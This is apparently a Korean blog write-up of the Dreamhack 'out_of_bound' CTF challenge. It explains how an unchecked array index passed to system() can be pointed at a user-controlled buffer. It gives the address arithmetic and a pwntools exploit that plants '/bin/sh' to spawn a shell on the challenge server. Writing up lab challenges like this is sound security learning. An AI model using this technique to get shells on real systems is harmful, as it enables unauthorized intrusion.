본문 바로가기
시스템 해킹/드림핵

[Dreamhack] out_of_bound

by L3m0n S0ju 2021. 7. 18.


 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = { "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main()
{
    int idx;
    initialize();
    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");
    scanf("%d", &idx);
    system(command[idx]);
    return 0;
}

 


이번 문제는 out_of_bound 취약점을 이용하여 문제를 해결한다. main함수를 보면 read로 name을 입력받고 scanf로 idx를 입력받아 command에서 idx 번째 문자열을 system 함수의 인자로 넘겨주고 system('문자열')과 같은 형태로 실행된다. 문제의 핵심은 command의 idx가 command 크기인 10을 넘어도 코드는 작동한다는 것이다. 예시로 아래와 같은 코드를 살펴겠다.

 


 

#include<stdio.h>

int main(void)
{
int str[10] = { 1,2,3,4,5,6,7,8,9,10 };

printf("%d\n", str[10]);
printf("%d\n", str[11]);
printf("%d\n", str[12]);
printf("%d\n", str[13]);
return 0;
}

 


위 코드는 str의 크기 10 보다 높은 인덱스 str[10], str[11], str[12], str[13]을 출력하는 코드이다. 결과는 아래와 같다. 쓰레기값이 출력되지만 코드는 잘 동작한다. 이와 같이 개발자가 설정한 영역을 벗어나는 입력값에 대하여 예외처리를 하지 않는 경우 해당 취약점을 이용하여 메모리 값이 조작될 수 있다.

 

 


문제 해결방법은 일단 name변수가 설정되고 command변수가 설정되므로 name변수가 스택의 더 높은 주소에 있을 것이다. 이때 command의 idx에 10보다 큰 적당한 값을 넣으면 언젠가는 name 변수에 닿는다. 이때 name 변수에 미리 /bin/sh라는 문자열을 저장한다면 command는 /bin/sh를 가르키게되고 system(/bin/sh) 명령어가 완성되면 쉘을 획득할 수 있다. command와 name 사이의 거리만 구하면 익스플로잇 코드를 작성할 수 있다.


name 주소: 0x804a0ac
command 주소: 0x804a060

name 주소: 0x804a0ac

command 주소: 0x804a060

 

name-command = 76


name과 command 거리차이는 76이므로 command는 char* 형으로 원소 하나가 포인터 값이므로 4바이트 크기를 가진다. 따라서 76/4=19 -> command[19] = name[0]과 같은 식이 만족하게 된다. 그렇다면 name에는 어떤 입력값을 주어야할까? command는 char&형으로 4바이트 크기의 포인터를 하나씩 읽어들인다. 따라서 name에 /bin/sh를 직접 입력하면 /bin의 아스키코드 값을 주소값으로 인식하여 엉뚱한 곳을 가르키게 되므로 name[0]에 name[1]의 주소값을 입력하고 name[1]에는 명령어를 입력하면 name[0]에 있는 주소값이 가르키는 명령어를 불러와서 system에게 인자로 넘겨주게된다. 익스플로잇 코드는 아래와 같다.

 


from pwn import*
 
p = remote("host1.dreamhack.games", 11366)
context.log_level='debug'
payload=p32(0x804a0b0)+b"/bin/sh" // 0x804a0b0은 name[1]의 주소
p.recvuntil("Admin name: ")
p.send(payload)
p.recvuntil("What do you want?: ")
p.sendline(b'19')
p.interactive()

 


플래그

'시스템 해킹 > 드림핵' 카테고리의 다른 글

[Dreamhack] basic_heap_overflow  (0) 2021.07.20
[Dreamhack] memory_leakage  (0) 2021.07.19
[Dreamhack] basic_exploitation_002  (0) 2021.07.17
[Dreamhack] sint  (0) 2021.07.15
[Dreamhack] basic_exploitation_003  (0) 2021.05.22

댓글